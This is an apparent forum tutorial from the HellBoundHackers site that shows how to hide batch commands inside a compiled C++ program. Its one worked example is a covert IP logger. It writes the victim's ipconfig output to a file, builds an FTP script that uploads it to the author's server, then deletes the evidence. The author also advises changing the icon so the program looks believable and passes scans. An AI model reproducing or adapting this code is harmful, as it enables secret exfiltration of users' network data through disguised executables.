Follow us on Twitter!
Your life is ending one minute at a time. If you were to die tomorrow, what would you do today?
Thursday, April 17, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 12
Guests Online: 10
Members Online: 2

Registered Members: 82813
Newest Member: VesuviusSentinel
Latest Articles

Programming the perfect customized batch

Arrow Image A new way of writing programs that interact with DOS..



Well many people have used the function but never thought about using it destructivly(or educationally speaking, secuirity flaw).

All that is required is the following:
- Minor C++ knowledge.
- Digital Mars/VisualC++/BorlandC++/Any C++ compiler

LETS BEGIN!

Ok well lets start with something simple but effective.. ip logging users that use your program.

The code would be:
[START CODE]

#include \"iostream.h\"
#include \"windows.h\"
#include \"dos.h\"

using namespace std;

int main()
{
system(\"cls\");
system(\"ipconfig>>C:\\ip.txt\");
system(\"echo open>>C:\\ftp.txt\");
system(\"echo yourftp.com>>C:\\ftp.txt\");
system(\"echo ftpuser>>C:\\ftp.txt\");
system(\"echo ftppass>>C:\\ftp.txt\");
system(\"echo send C:\\ip.txt>>C:\\ftp.txt\");
system(\"echo close>>C:\\ftp.txt\");
system(\"echo bye>>C:\\ftp.txt\");
system(\"cls\");
system(\"FTP -s:C:\\ftp.txt\");
system(\"cls\");
system(\"del C:\\ftp.txt\");
system(\"del C:\\ip.txt\");
system(\"cls\");
return 0;
}

[END CODE]
you see same exact thing as bats except it has system(\"\"); around it. very simple.

Then just compile your program. Change the icon. do whatever, its more beleavable and can be scanned, and u dont need to bind 2 files.

I hope this tut helps u out in one way or another.

BYE!
--Haykuro

Comments

BlackAce227on March 06 2005 - 22:14:00
ive seen this script alot. Frown
Post Comment

Sorry.

You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.